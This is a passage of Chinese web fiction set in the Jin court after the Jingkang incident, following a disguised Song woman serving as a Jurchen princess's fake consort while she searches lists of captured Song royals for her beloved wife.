瞄准之法我可是厉害的,虽然右手不能持重物,但是左手托着弩再发动扳机,妥妥的命中三箭,也算没有让她丢人吧! 而后被人拥着进了完颜晴的房间,乌里和百林将凑热闹的人赶了出去,关好门。 终于只有我和完颜晴了!此刻她正穿着华丽衣服,梳着精致的盘发坐在床上吃着水果。 我坐到桌边倒了一杯酒喝下,看着红烛有点恍然如梦。 “在我心里,你是我赵瑚儿的妻子! “那你是我的媳妇!” 真的好像做梦一样,我一个女子这辈子居然当了两次驸马,两次婚礼,却都没有和我最爱的公主。我和瑚儿的仪式那么简单…… “我的任务是不是完成了?”我回头和她说着,她刚要开口却被敲门声打断。 门外进来几个妇人,端着一壶酒,完颜晴走到我身边,她们用女真话交流着。完颜晴看了我一眼,对她们摇了摇头,她们面露难色,向完颜晴行礼请求,完颜晴接过酒壶打开盖子一口气将酒饮尽,她们才离开。 “她们在干嘛?”我看着脸上如火在烧的完颜晴紧张的问道。 “他的妻子不放心,希望我早点嫁与他人!”她气息不稳,勉强的说着。“她对你倒是满意……恨不” 只见她扯开衣领,红晕已经扩展到脖子和胸口。 “酒里有那种药吗?”我赶快倒了一杯水递给她,“她想让你和议政王断了关系?” 她接过水一饮而尽,“你扶我去床上吧!”她艰难的说着,额头已经爬上细汗。 将她放平躺下,她拉着我的衣领,让我贴近她。“上次吓到你,你也可以欺负回来!”她挑眉笑着说,媚骨勾魂…… 我用手撑在床上,腾出一只手拉着她的手腕,挣脱出来说着“我去叫乌里她们!” “不用!你去墙那边呆着吧!我习惯了!嗯……能挺住……一会就好了……嗯~”她拉过被子盖好,扯着自己的衣服,赶我离开,气息凌乱,“门口应该有人看着……” 我被她推了一把,站起来转身向墙边走去。想起来刚刚她应该是说我有伤,避免了我也中招!那王妃的手下觉得完颜晴喝了那么多药,这样的媚态风情女子谁会放过呢!就暂时放心了!不过还在外面守着。 我走到墙边坐下,屋内隐隐的有些低口今的声音,感觉完颜晴也在强忍着。我回想起那天我只喝了两口下了药的酒就那么难受,她喝了一整壶,应该挺难熬过去的吧! 把她往好了想,因为答应不再吓我而避免我也饮酒,我要不要帮帮她,毕竟还要合作。再说,屋里这声音真是让人难受,特别是有过媳妇的人难受╯﹏╰ 算了!不听她的了,我站起来想出去叫乌里她们。起身后却发现浴盆在屋里,里面还有水,应该是早些时候准备好给她沐浴用的,我伸手试了试水温,太好了!还是温的,刚刚好! 我跑过去推了推完颜晴,只见她已经被汗打湿了头发,只穿了一件寝衣也已经湿透,她在被子里缩成一团,白衣趁着她仿佛熟透了的身体。 “我带你去沐浴”轻轻扶起她来到浴桶边,她无力的靠在我身上,我尽量轻一点将她放在水中坐下,确认她可以撑住坐稳,我便又去倒了凉水给她喝。 泡了一会,她恢复了一点理智,将头没入水中几次,再浮出水面,她平复着呼吸,仰靠在桶边,面色好像不再那么红了。 “谢了!”她轻轻的说着,没有看我。 我坐在木桶旁边,舒了口气,看来也算帮了她。“要不你再给我加点钱?”我回答她。 “帮人帮到底~我再加你一百两!”她靠过来,手指了指外面。 我按照她的指示,用剪刀将她脱下的衣服剪开口,再拿到门口用力撕开,丢在地上。又去炕上用摔打被子,发出响声。她也配合着配一些声音! 折腾了一会,我都汗流浃背了!回头看到她已经换好了寝衣,正在自己脖子、锁骨下、大腿上掐出了红色印子,还可以这样造假嘛!? 但不得不说这造假能力,比当年在梁山上我和瑚儿厉害! 她向我招招手,示意我去床边,她拉过我轻轻的说“我们先躺下,待会她们会进来查看的!” 在我的坚持下,我们中间隔着一件衣服,我将衣服拉下,平躺着露出肩膀和右边手臂,她穿着寝衣背对着外侧,贴抱着我。我还感到她大腿压在我腿上,我们这样挺了一会,真的听到了推门的声音,我忙闭上眼。轻轻的脚步声,走近了些,随即离开又轻轻的关上门。 验收完毕,我轻轻戳了戳完颜晴抱着我的手,她小声说,“今天先这么睡吧!”。说着收回手,转身背对我。 折腾了一天,很快就迷糊过去,一觉睡到日上三竿了。起来时,完颜晴已经不再。 “走吧!王叔要宴请我们!”完颜晴已经收拾完毕,从门外进来叫我。直到坐上马车,我才从懵懵的状态中缓过来,不禁想打听一下情况。 “我说你脖子和手臂受伤了,所以不能说话也不能饮酒”完颜晴嘱咐我道“我会尽力保你,但是你自己也小心点,别轻易吃喝东西!” 啊!这么可怕!“你那个叔叔不会弄死我吧!”我忐忑的问。 83、双面 马车在一座大气的宫殿前停下来,完颜晴示意我扶她下车。 穿过庭院和森严的守卫,我们到了一个大厅,里面摆了几个桌案,坐着女真贵族模样的人。我们被安排在靠门的位置。我们向上座的人的行礼,一位四十多岁的中年男人,估计是她的变态叔叔。 我刚盘腿坐下,完颜晴就被叫到议政王旁边了,我眼神跟随而去,却被几个侍女围过来挡住,她们倒酒送吃的,旁边桌的男子也如此被侍奉着。我按照完颜晴的嘱咐笑着推脱,想看看她怎么样了,谁知道又冲进来一群跳舞的,挡的严严实实。 我忙借着手抖将酒洒在自己和旁边侍女的身上,然后抢过手帕往她们身体上擦,假装调又戈吃豆腐,她们娇羞的躲开,旁边的几位贵族看热闹起哄,我则瞄着完颜晴,还是看不太清。干脆站起来去和舞姬跳舞,然后拿起别桌的酒往嘴里倒,几乎都洒脸上和身上了。 我装醉且玩的很嗨,然后终于绕到靠近完颜晴那侧,只见她正眼含泪花摇着头,王爷将手伸向她的肩,在触碰到之前,她捂着自己的脸哭泣起来。 这是唱哪出啊!? 未等我作出反应,身后突然传来严厉的女声,回头望去,正是昨天的中年女子,也就是这位王爷的夫人。 刚好一位舞姬被绊倒,我顺势接住她抱住,给众人留下了一个好色之徒的形象。王妃笑了笑说着什么,完颜晴已经悄悄走到我身边,拉我回去坐。 王妃则到王爷身边坐下,歌舞继续。 “什么情况?”我凑过去问她。 “一会赏你的酒,你喝下,咱们就能走了!”她轻轻说着。 果然,一支舞结束,就有人端上两个精美的镶着宝石的酒杯。完颜晴将红色的递给我,自己则拿起另一个,拉着我起身给王爷王妃敬酒,我跟着她一起,她们说着女真话。然后看她喝了,我也喝下了,好烈的酒啊! “这酒没毒吧?”坐上马车我忙问她。 “没毒,但是有药!”她笑着看我。 “啊!”我忙要扣嗓子催吐。 “是让人那方面不行的药,对你没影响的!”她按住我的手,解释道。 还有这种药? “他还让我每天偷偷给你下呢!”说着,她捏着一个瓷瓶轻轻晃着。 我舒了口气,问到底怎么回事? “他以为我昨晚失身于你,很生气!但是也忌惮于王妃家的几个兄弟,就让我给你下药!”她简单总结说。“我表现得委屈点,她们两口子斗去吧!” “你和他,你们?”我想怎么问好,毕竟不太符合伦理。 “他在赌我不是完颜氏血脉!”她有些疲惫的靠着马车内壁,“我虽然也能参与政事,但是也拧不过……” 委身于他,满足他的欲望,换取更多权力和自主权吗? “各取所需吧……”她转身看向车外面,微不可闻的叹息着。 也许就像她说的,不情愿早晚也会情愿的。回到府里,她告诉乌里和百林开始收拾起了东西。 “和我走吧!”她一面整理自己的东西一面说着,没等我回答就说,“去依兰修缮伍国城!” “我也要去吗?”我听说要执行公务,不禁问道,毕竟我只是个外族赘婿嘛! “留在这等着议政王干掉你?”她说着从梅花画后面暗格里取出一些东西,一个小盒子还有一幅画。“而且试了这么久的药,也就为去那里救人了!” 救人?原来如此!我药人的使命终于要完成了吗?! 这画轴好眼熟,难道是李师师画的那副? 见我盯着她手里的东西,她笑着问我,“想看?” 我点点头。 她轻轻抚摸着画轴,而后收了起来!“不给看!” 到底为什么没有认出我呢?(╯‵□′)╯︵┻━┻ “你想见的人也许以后会住在那里!”见我无趣的出门,她突然说道,“你总是有意无意的打听宋王室的境况,对吧!” “和谈的结果是,他们按照品级不同被算成钱,抵押给我们了!”她没有停下收拾,“已经启程北上了!” “上京和五国城都会有翻修的地方,以囚禁她们!如果你能主持修缮,应该也能为她们做点什么吧!”我脑海里回荡着她的话,靖康之耻的结果确实是这样,皇室成员和宫人被标好了价格,作为赔款被押送到金国被幽禁凌辱……瑚儿会不会幸免,她们有没有乘船逃走? 如果我能为她们做点什么…… 带着这样的彷徨,我和完颜晴一起去了更北边的五国城。 出发前几天,跟着她一起拜别了几位王族成员,也接待了几个文武官,她时而情真意切、时而严厉果断、威逼利诱,在虚假温馨的氛围里,做好了安排。 这天我们在回府的路上,遇到了我假装乞丐期间帮过的小男孩,也是“出卖”过我的那个,他穿着依然破旧但是却干净了很多。 完颜晴帮我翻译着他的话,她母亲的病已经好转,可以照顾他生活了,他也跟着铁匠学徒干活,日子正在好起来,说着他向我一拜,从怀里掏出十两银子,正是完颜晴给她的赏金。 我觉得他能留下仁义的心,靠自己努力也是好的,便收下了银子。 谁知道当我拿着银子在完颜晴跟前炫耀时,被她顺势抢走。 “天真!别得意太早”她如说教般的告诫我说,“总有一天你会觉得我是对的!” “彼此彼此” 一路上,我已经不用服药了,也没有心情观光,所以大部分时间都在车上补觉,完颜晴倒是难得流露出自在轻松的样子,顺便考察着沿途村镇的情况。 躺着的我想明白了一些事,她借着假成婚,让议政王夫妻不睦,借故暂时脱离他的魔掌,又可以领功,真是一步好棋啊! 我们到的第二天,古里泰就追来了,说是要帮着制解毒剂和送礼物给完颜晴的小妹。 小妹?她有亲人在这里吗?我心里疑问。 完颜晴依旧公式化的客气待他,他立即取了我的血干掉了黑蛇,熬成药膏。完颜晴马上让乌里偷偷去送药,自己则拉着我投身旧城的翻新之中,监工也是很累的,让我回想起翻修心园的日子。 既然以后可能是宋王室成员住,我请求完颜晴将基础设施修的好一点,比如火炕要暖和路面要平等等…… 作为解药的谢礼,她欣然接受并实现了!还是很守信用的人。 而我也悄悄画下了伍国城的布防,以及这几个软禁之所的路线图。 半月之后,五国城很多地方焕然一新。 一天完颜晴接到了乌里带回的信,她微微舒展的眉揭示着她终于放下的心。 “古沃贺好了!”古里泰突然出现在旁边,打断我对完颜晴的观察。他邀我喝酒,讲起了完颜晴的身世。 完颜晴的母亲和卓夫人曾经是温敦部的王妃,北方第一美女。 后来女真统一各部,温敦部盛产铁矿,自是必争之地。金王以索要和卓夫人为由,兵临城下。 首领无奈就献上了自己的妻子以求和,也答应铁矿任由金国开采使用。 没想到几日之后的夜里温敦突然反攻,击退了金兵,温敦王也夺回了妻子。可两人感情却难以回到从前,不久之后和卓夫人还发现有了身孕。 这孩子到底是完颜血脉还是温敦王族,就成了人们茶余饭后的闲话。温敦王又娶了和卓夫人的妹妹,和卓负气出走,跑到离宋境比较近的地方休养。没想到这期间金国彻底荡平了温敦,金皇帝发告示,若和卓夫人一个月内不回来,就屠城。 后来和卓夫人带着刚刚出生的女儿来求降,说来神奇,她们一出现,连绵半月的雨天结束了,阳光照在这个小婴儿脸上,金王觉得这是祥瑞之兆,孩子也确实可爱,就封为公主,赐名完颜澈穆格,意为晴朗的阳光。 为了稳定温敦旧部人心,金王对她们母女很好,完颜晴幼时体弱,后来喝参汤也就慢慢好起来了。不过她们母女也遭到别人嫉妒,有人挑拨温敦残部继续反抗作乱,和卓夫人尽力斡旋,夹在两部之间心力交瘁,在完颜晴三岁时便去世了。 金王虽然有心养育完颜晴,常带在身边悉心教导,奈何总要征战。恰好这时她的姨母,也就是温敦王继妃,请求照顾完颜晴,金王就将她和女儿接到宫中。 “古沃贺是她的表妹,也可能是同父的亲妹妹,今年十四岁”,古里泰喝了不少酒,舌头都有点发硬了“她们差不多一起长大,澈穆格对她很好!” “先王崩世后,他的弟弟继位,与其他拥立他的兄弟共同议政,这也是澈穆格噩梦的开始”他轻轻发抖,缓了一会才继续“斜也王爷曾痴迷于和卓夫人,因恐惧先王未能如愿,就把这心思用在了逐渐长大的澈穆格身上……” 赌她不是同宗血脉,便可以欺辱占有了吗?我也不自觉饮了酒,感慨她的命运。 “澈穆格一直周旋躲避,皇上为了拉拢议政王,对这事也是睁一只眼闭一只眼”他逐渐崩溃,“直到大约两年半前,澈穆格从西夏归来,古沃贺和她的姨母突然得了怪病,浑身长满黑斑,偶有溃烂,痛苦不堪,只有议政王有可以缓解的办法,她就……只能” “你钟情她,对吗?”我不禁问道,“你可以陪她度过这些之后,再好好的和她一起!” “我不敢!我逃避了太多次,已经不配拥有她了”他说着竟然哭起来,“我只希望能在她身边,一辈子以朋友的身份!” “澈穆格……澈穆格……”他趴在桌上,开始说女真话,我拍拍他,也没能让他清醒。 “我哪有那么悲惨啊!”完颜晴的声音突然飞入,“我不是说了嘛,各取所需!”她说着拿起酒杯饮下,转头唤乌里百林将古里泰搀扶下去休息。 屋中再一次只有我们两人,我没有说话的倒着酒,回想起在西夏时与她相处的点滴,原来自那之后她就…… “呵,你这是什么表情!可怜我?我能自保,能保护母族,还能在朝里有一席之地,能调兵,能和男子一样执行政事,比那些命不由己的女子,不是好多了!”她喝着酒嘲笑我,“就当是做噩梦!你成过亲,那种事快不快乐吗?重要吗?” 如果是愿意的,情之所至的,会开心幸福的。我听了她的话,感慨于她想的开,或者她把自己催眠的挺好,至于那种事,确实如果只是欲望,就算得到,之后也是无尽的空虚落寞。 “在这里喝酒也闷了,出去吹吹风吧!”她站起身,唤我。我们骑马来到一座宅院前,在附近找了一个茶楼,登楼刚好可以看到院中情况。一个豆蔻年华的少女正在晒太阳打秋千,美好快乐。 “我小妹好看吧!”她看着女孩,轻轻问着,面容那么欣慰平静。“据说越长越像我额吉了!额吉的样子我都记不清了!”风轻轻吹起她额头的发,微微酒醉、恬静的完颜晴,有着和平时不一样的美。 “她的病已经好了,你怎么不去见她们,反倒这这里偷偷摸摸的?”我看向秋千上的少女,轻轻的问着。可能人好看起来,就长得都差不多了,她有着眼熟的美丽。完颜晴和她有点像,又好像是另一种绝色。 “算了,离她们远一点才安全”她继续说着,“最好让人忘记我在意什么,才能一往无前啊!” 远离是保护!你看起来什么都不在乎,其实都在心里!我觉得此刻的她和西夏时一样真实,没有她说的那么坚强、冷酷。 84、半碗长寿面 “那你没有让古里泰做你的驸马,也是为了保护他吗?”回到暂住之地,她说好久没有读书了,便让我读一段给她听。刚好读到了烛之武退秦师,说为了一个人好,就要为他做长远打算。翻译到这里,我忍不住问他对古里泰的感觉,结合她对在乎的人和事的回避型处理,难道她对古里泰也是这样吗? “嗯?你这么看?哼哼,我一个百姓口里的风流弄权者,说不定哪天就被清算了!”她微微诧异,随即回答“只是不想有无谓的牵连,亲人我不能不管,其他的不想相欠!” “哦?这么悲情!那我就可以随便利用了!?”我还是觉得她对于生死看的有点淡!看起来无所畏惧的人,太容易迷失,她聪明有手段,又能多少掌控点金国的政治和军事,她总是这么无所谓,觉得什么都是这样的话,对即将到来的宋人恐怕不会是特别好的事。因为她把她们当成弱者,是无能的! “你不一样啊!你的命是我救的嘛!而且你教我读书或者当驸马,我不是都有给你钱吗?”她笑起来,“答应你的团圆也会做到!我不欠你的哦!” “你总是算的这么清楚?那你是不是没有相欠的人?”我想着,觉得她对我也算行了,也算没有食言过。 “还是有的,”她站起身,走到柜子边取出那幅画轴,“你不是想看嘛!”说着,她坐到我旁边,缓缓展开。我凑过去,有点紧张的吞了吞口水。随着画幅展现,我才明白,原来是画被水打湿了,肩部以上的部分都模糊了。真是巧合! “这是我的一位朋友!也是宋人”她轻轻的说着,讲述着回忆着,“他在我有难的时候帮我过!可我连他什么样子都没见过!” 两年半前她从西夏回来,眼睛还没有好,本来将这幅画收好的,可是却不知什么时候被水浸湿花了,她永远也不知道这个朋友的样子了。 “如果再见,你会感谢他吗?”我试探着问,心里想着要不你给我笔钱放我走? “不知他有没有受战事影响!也许”她叹了口气“我会送他金银财宝,让他去想去的地方吧!” 我应该坦白吗?但我是女子,和她记忆里的人都对不上,她会不会……? 好在乌里的进入,打断了我的犹豫。还是等等吧!等到我能和瑚儿团聚或者需要她帮助的时候,再请她“还人情”吧!萍水相逢,不相欠也好。 “这里有你认识的人吗?”完颜晴看着乌里送来的名单,随即递给我,是女真文字和汉字双语的,竟然是大宋北上的名单!首页赫然就是道君皇帝,当时的大皇子,如今的宋皇帝的名字,后面十几个皇子的名字,往后翻我看到了金奴,还有几位公主,剩下的都是一些大臣的名字。没有瑚儿?这是好还是坏? “你的相公在这里吗?”她问着,我摇摇头问“这些是全部了吗?” “这是第一批,已到燕京,是要来行牵羊礼的!”她缓缓的说着,“我听说总共有七批,后续的名单我还没有收到。” 这么多!这么远的的路程!这些人能挺住吗?后面会有瑚儿她们吗? “你相公的北上之路,皮肉之苦在所难免!但你们团聚就可以再续前缘。”她也突然感慨道,“可若是女子,恐怕早已受尽折磨,就算长得好能幸免,也是要供王族分领,想和心上人圆满可就难了!”金国这几年灭了几个国家,这样的情状她早已见惯,只能尽量扶持朝政,让金国强大,自己才能免遭厄运! “女人在这时太无助了!”我不禁捏皱了名单,喃喃的说着。 “如果你是男子,你的妻子被欺辱,你会如何?”她见我颓然,突然问道。这个问题好像当年在西夏时她问的,如果瑚儿寒毒不解,终生不能肌肤相亲、生育,作为丈夫会如何? “活着最重要!”我还是这个答案,在心园时我也曾惴惴不安,我和瑚儿经历了这么多,早就不怕同生共死了,她的寒毒我们挺过来了。如果国破家亡,能逃、能避当然好,如果不能幸免,她活着最重要。 “如果她被迫侍奉我们的王族,不容易脱身,你会如何?”她追问,这个又像是她的情况,也是很多宋家公主的未来命运,有的一辈子都没有再能回到家乡。 “我会拼命营救;她恨,我就陪她报仇,不死不休!她想重新开始,我就陪她去个没人认识的地方好好生活,只要她愿意…只要她好好活着…”我像是发誓,如果瑚儿真的会遭遇那些,我会这么做,也只能这么做。 “好在你是女子,不然我大金还真是惹了个麻烦!”听了我的话,完颜晴微微怔住,随即解嘲说道。“早点休息吧!明天就要准备返程了!” 回房间之后,我想着今天发生的事,想到那名单,金奴居然要来了,她的孩子呢?算来应该不足两岁,和我与瑚儿的孩子差不多大,她们还好吗?骨肉分离了吗?我现在的身份,在完颜晴身边是否可以帮到她们呢? 我本来也没什么行李可收拾的,次日一早就起来等着出发,顺手还能帮乌里搭把手准备好车马。 整装待发,却有人送来一封信,百林告诉我是完颜晴的姨母写的。完颜晴看后,面无表情的撕掉了…… 进入上京城没多久,路过那座我曾装过流浪汉的寺庙,香火鼎盛、上香者络绎不绝。 “没想到在北国佛教也这么盛行!”我再一次感慨。 “契丹人多了,佛寺就盛行了,等过阵子宋人来了,可能还会更繁盛!”完颜晴轻轻的说着,“求神拜佛到底能求到什么呢?” “也是求个心里安慰吧!”我回答着她一如既往的自信和冷漠。 回到府里的每一天,我都在等着名单。我们走的这段时间,完颜晴的叔叔们大多南征去了,没有了议政王的骚扰,这也让她可以轻松不少。她也知道我的焦急,所以尽快收集打探,毕竟我已经帮助她解了亲人的病痛,我们之间剩下的只有助我团圆的承诺。 一批批更新的名单,代表着北上的人。 时间过得真快,自我在上京城醒来已经过去半年了,转眼又是一年中秋,瑚儿的生日。我在昏迷中错过了欠她的二十岁生日,如今二十一岁也未能和她一起。我们什么时候可以重逢? 金国这里也有庆祝的集会,据说也有赛马和灯会,越来越融合也越来越热闹。这天一大早乌里和百林就拉着完颜晴出去了,我因为没有心情就留在府中。 天黑了,外面却灯火通明。 我想着瑚儿就煮了一碗热汤面,放了一个荷包蛋,长寿面你能吃到就好了!平安顺遂! “你们汉人中秋喜欢吃长寿面吗?”完颜晴突然飘过,问道“我还以为要吃月饼呢?”说着她拿出一包五仁月饼在我面前晃着。 对哦,她在西夏时,瑚儿生日我们也请她吃过,所以她记得长寿面。 “你生辰?”她又问,看看面又看看我。“百林她们让的?” “嗯?不是啊!就是个美好愿望,希望健康长寿、长命百岁,没想到你买了月饼!”我尴尬的解释着。“乌里她们呢?” “还在玩闹呢!难得闲下来,就多玩会吧!” “你要不要尝尝?”我问着,本来一会也是我打算吃掉的,既然她回忆起来又刚好碰上了,就邀请一下吧! “好!我请你吃月饼交换!”她说着拿过筷子,即将触碰到面时,突然嘀咕起来,“吃了真的可以长命百岁?” “就是求个好彩头嘛!”我应和着,“而且也不是谁的生辰啊!咱们分着吃也不碍事的!”我说着在面里点了两滴香油有加了点陈醋,喷香满满! “那我吃小半碗就好了!”她说着拿过一只碗,盛出小半碗面和半个鸡蛋。“够用了”她轻轻叹了一句。 “嗯~”她吃了一口,点了点头,应该觉得还和胃口,随后对我说着,“热乎乎的真不错,你也快吃吧!” 吃完面,我们来到庭中,刚好乌里、百林拿了些好多小玩意回来了,围绕着我们比划,然后小心的塞了几件给完颜晴,“这两个丫头,得早点把她们嫁出去!”她们跑开后,完颜晴摇摇头说道。 “你舍得啊!?”我不禁要问,从这段时间相处看来,乌里和百林对她是忠心耿耿,都可以为她死那种。 她们在和我学汉话时,沟通中我知道了她们名字的来历以及和完颜晴的渊源。乌里是差不多十岁起就跟着完颜晴,名字意为弓弦,矫健勇敢,算是她有力的左膀右臂。 至于百林,是七年前完颜晴在一批要转卖的奴隶里她救下的,还给她家人安排了家业营生。女真语里百林是恩情的意思,她自己要求改得。她比乌里文静内敛,但是对完颜晴,怎么说呢?我有几次撞见她在完颜晴睡着以后,偷偷为她整理头发,甚至想要触摸她的脸,那眼神……绝对超出主仆、姐妹情谊了。 “难道一辈子陪着我?人生在世三五十年就好,都是过客!”她拿出一小壶酒递给我,“喝点啊!” “应该是她们舍不得你!”我接过酒壶,回忆起来感慨道,“没药吧?” “断肠散、女眉药,挑一个?”她看着天空中有人放飞的孔明灯,问着我,“我可以给你现加点!” 我尴尬的笑了笑,回想起来,自从那两次互相中招之后,她就不再弄这些了! 喝了口酒,看着闪烁的夜空,想起太多相似的情景之下,身边的那个人又在哪里呢?烦愁不免又涌上来,还需要很多酒精麻醉! “明天应该就有新的名单送来了!”她说着抢回酒壶,摇了摇,“哎,晚了一步!罢了!回去睡吧!” “多谢了!”在我进门之后,她在我身后说着。谢什么?谢我的面还是谢我喝光了她的酒? 第二天一早,没等来名单,倒是古里泰一大早跑来了,为完颜晴带来了几本珍本古书,完颜晴很是喜欢,却推辞。 “澈穆格,这也不是正日子,不必当礼物,也不算违了你的意愿!”古里泰真诚的说着,“我找了好久,这书在其他女真人眼里也不当回事啊!” 确实不好找,对于汉语迷来说,很难舍得啊!我听着他们说话,虽然半懂半懵,但是也听了个大概。最近是什么契机吗?可以送礼物,不过完颜晴轻易不接受? “要不你送他点回礼?”我见她有点两难,就凑过去劝她,她想了想让百林取来两棵百年人参送给他。 好歹也算收了,他虽然有点泄气,但还是欣慰的。又客气了会,他识趣离开。 “这应该是最后一批了!”她将名册递给我。 从早上等到下午,终于拿到了,我迅速翻开寻找,终于在那个熟悉的,我心心念念的名字上呆住了。 成德帝姬-赵瑚儿、驸马向子房…… “找到了吗?”她见我定在原地,便过来询问,“这里的女子好像没有被贵族预定,到达之后应该是送到洗衣院的!”她看了看我盯着的页面,想着说道。 “洗衣院?”我重复着问。 她无奈的叹了口气,回答道“就是你们说的……军女支营……” 85、坦白 军女支营?!我顿觉五雷轰顶!万箭穿心! “这些公主、宫妇都是姿色平平或者已有伤残,所以不便入皇宫、王府,只能放在洗衣院供人点选,”完颜晴说着要拿过名册,我却僵僵的忘记松手。 瑚儿的样貌怎么可能平平?难道是伤了? 我看向完颜晴,泪水夺眶而出,“你能不能帮我救出我的亲人?” “你找到你相公了?”她迟疑着问我。 “我没有相公!我虽然成亲了,却是娶了妻子!”我放开了名册,却激动的抓住完颜晴的两臂,请求她“你可不可以告诉押运的人,放几个人?” “你先冷静一下,前阵子有女子被折磨殒命,导致几个人在途中自尽了,所以现在已经下了禁令,不会太过分!”她拍拍我的肩,让我放松点“但是名册也对的更严了,假死或者偷放都不太可能!” “那我去找她,可以吗?”我不死心的问。 “以何种身份?”她语气严厉起来,“你现在以金驸马的身份前去,别人会以为你去抢战利品,你想保护谁只会适得其反的!” “那……”我怔住,“要不我伪装过去……” “路途遥远,你女真话又不够熟练,可能都没找到她,在路上被抓了,到时发现你是女的,我们的事也可能都会败露!”她拉着我坐下,“你先别着急,我答应过助你们团聚,一定会尽力的!” “你告诉我,你要救的人是谁?”她也坐了下来,认真的问着,“是哪位公主?” 我深吸一口气,试着让自己静下来,想着要不要把自己救过她的事说出来,让她救瑚儿。但是在西夏时我们的名字几乎都是假的,现在要是说出来,她会不会怪我早就认出她,还要撒谎呢? “我机缘巧合成了金奴公主的假驸马,但是我真正的妻子是成德帝姬,赵瑚儿!”我回忆起来第一本名册里没有写金奴的驸马,我就如是说着。 “假驸马?像我们这样的?”完颜晴问,“可成德帝姬的驸马也不是你啊!” “都是机缘!宋皇帝也以为我和他两个女儿不清不楚,才把我送上了战场,也就是你能捡到我的地方!”我继续梳理着相对真实的情况,“我真正心意相通的人是成德帝姬,她和向子房也是假成亲!” “你是女子,又和女子情投意合!互许终身了!”她总结着她认为的要点,“原来还真的有这样的事?那你是像男子一样只喜欢女子还是……” “我不知道……但是我和瑚儿一起经历了很多,我们心里有彼此,”我回忆着自己的情况,“以前我从来没想过自己会真的和女孩在一起,但是瑚儿是我愿意共渡一生的人。” “哦!?”她还在试着理解我的话,“心里有彼此!这就是相爱吧!”她轻轻呢喃着。 “好吧,我先想办法传话过去,让人照看着你的心上人,别再受到侵扰”她拿出纸和笔开始写信,“我会尽全力保她平安到上京城!” 说完,她提笔写下简单的女真文字,告诉乌里飞鸽传书给昂大王。 “放心,我再打点打点他身边的人,给他们家人送些东西,让他们也传书过去,只要路上不遭罪,又是要进洗衣院的人,我可以讨过来的!”她继续说道。 “可以用你给我的那些钱打点,”我急忙说,最好让瑚儿路上过得好一点。 “好啊!五百两!”她笑着说,张开五指。 “我现在有三百五十两,我可以再帮你读书、做事”我认真的回答,我知道不容易,但是我还可以做很多事。 “你还是先扮好我的驸马和夫子吧!”她叹了口气,站起来说道“答应了让你们团聚,不会食言的!而且日后你不是还要带她去没有人认识的地方重新开始生活嘛!你该攒钱攒钱!” 她是把我那日说的话串起来了,如果我的妻子遭遇了那些羞辱折磨,我会如何!? “我会拼命营救……陪她报仇……重新开始……只要她好好活着…”是的,我只想她好好活着! 接下来的几天,我都浑浑噩噩的,吃不下饭也睡不着觉,我想打听却又知道路途遥远,总是问会不会让完颜晴烦呢?现下最大的指望就是她了。她估计也是觉得我心不在焉,就没有找我读书。 胡天八月即飞雪,中秋之后没多久,我在北国的第一场雪就来了,雪后天气变的更冷了,大家都换上了厚衣服,乌里她们为我准备了皮毛衣服。 这天,完颜晴告诉我,明日要去宫中参加酒宴。第一批宋人已经到了,先举行牵羊礼,而后金国贵族要庆祝一番,顺便……分享战利品。 当一张张曾经熟悉却又陌生的面孔从我面前经过,我才真实的直观的感觉到国家被侵占的悲惨和耻辱。不管你曾是皇帝、王爷、公主,还是显贵高官,都被风霜折磨摧残得面容沧桑、粗糙通红,她们身披羊皮被迫跪着前行,以示全身心的屈服。 有几名公主直接被人看中抢夺,哀嚎不断。有宋臣想讲道理,说这些公主都已嫁人,好女不嫁二人,请尊重中原的礼节。结果换来了金人的嘲讽和打骂,每名贵族都分得十名左右的宋皇室女子,公主或者王妃、宫人。 胜利者的狂笑、亡国人的悲戚交织在一起,让我甚至于在场的金人女性都很不舒服。 “我也会的得到几个仆人和一些财务,我们再忍一会就走!”完颜晴也在尽力忍耐,同时安慰我。 金奴?我看到她已经站起来,也扶起了父亲,然后不卑不抗的走向了金皇帝。完颜晴说她被选送入昌大王府中,应该不会吃太多苦。 现场荷尔蒙的气息已经快冲天了,让我们恶心头晕,我和完颜晴终于还是逃了出来。 一路沉默,物伤其类!作为女人我们真的觉得太可怕太难受了! 回府之后,百林将收来的宝物和书籍放置妥当,又安排几名新仆人换衣、领活。看着已经被调教的木讷的宋人同胞,我不免难过,可是想想乌里和百林的性格,能到这里已经算不错了!看着他们皴裂的手和脸,我突然觉得与其这么焦急等待,不如多做准备。 从此之后,我会上街买棉衣棉被、冻伤膏、暖手炉等等生活用品和药品。路上的照顾实在够不到,但是等她到了这里,我得好好把她养回来。不管经历了什么! 冻伤药给宋人用过后,恢复的还可以,完颜晴以不耽误干活为由,默许了。 见我忙碌起来,屋子越屯越满,完颜晴倒是很欣慰,终于开始让我教书了。我这有求于她,自然是更加认真对待。而且本着伸手不打笑脸人的原则,我每次外出采购还会给乌里、百林,甚至完颜晴带点新鲜的吃的玩的用的。乌里、百林对我信任不少,完颜晴则总是一副看透你的嫌弃模样,不过我想她也不讨厌那些的。 这天,她领回来一个七八岁的小男孩。 “这是?你弟弟?你儿子??”我有些好奇的问。 啪,她弹了我一个脑瓜崩,回头对小孩说了一句。 “姑父好!”他居然用汉话叫我。 “我侄子!和剌。他最近拜师了辽国归降的韩先生,也会点汉话了!”她带着小和剌到她的中原屋里,小家伙好奇的看看这试试那,好不开心。 “有没有好玩点的书?”完颜晴回头问我,我推荐了几本,最后她选择了山海经。我读给她们,而后她配着图谱用女真话翻译给和剌听,他也试着说了几个汉语里的神兽名字。 吃过晚饭后,和剌与我们告别,还带走了那本书。我们挥手告别时,我不禁问“你不怕他觉得奇怪?我一个蒙古人汉语也还不错。” “我说是我教的,而且也约定好这是我们的秘密!”她打了个哈欠,“他能喜欢汉文化就是好的希望!” 原来他是先皇的嫡长孙,应该算是完颜晴的亲侄子,不过现在皇帝是先皇的弟弟,先皇子孙他们这一脉还能不能有掌权的一天,还得靠努力和时机,不过如果他们汉化起来,对金宋两国都是好的。 “最开始都会难过一点,”她看着街上被牵着贩卖的宋人奴隶,她轻轻说着,“以后会好点的”。 她看了那么多书,自然知道强权、鞭子的统治是不会长久的,她也不希望自己的国家只是强盛这一时,不然日后也会有同样悲惨的遭遇。 暂时平静的日子一天天过着,我的小屋越堆越满,我也买好了马车、养好马。完颜晴有时会带着侄子和剌一起听书学习,这种情况下她会非常厚道的给我双倍的钱,有时我觉得她对人对事这种两清的态度真是让人觉得复杂。总的来说,我是应该感谢她的! 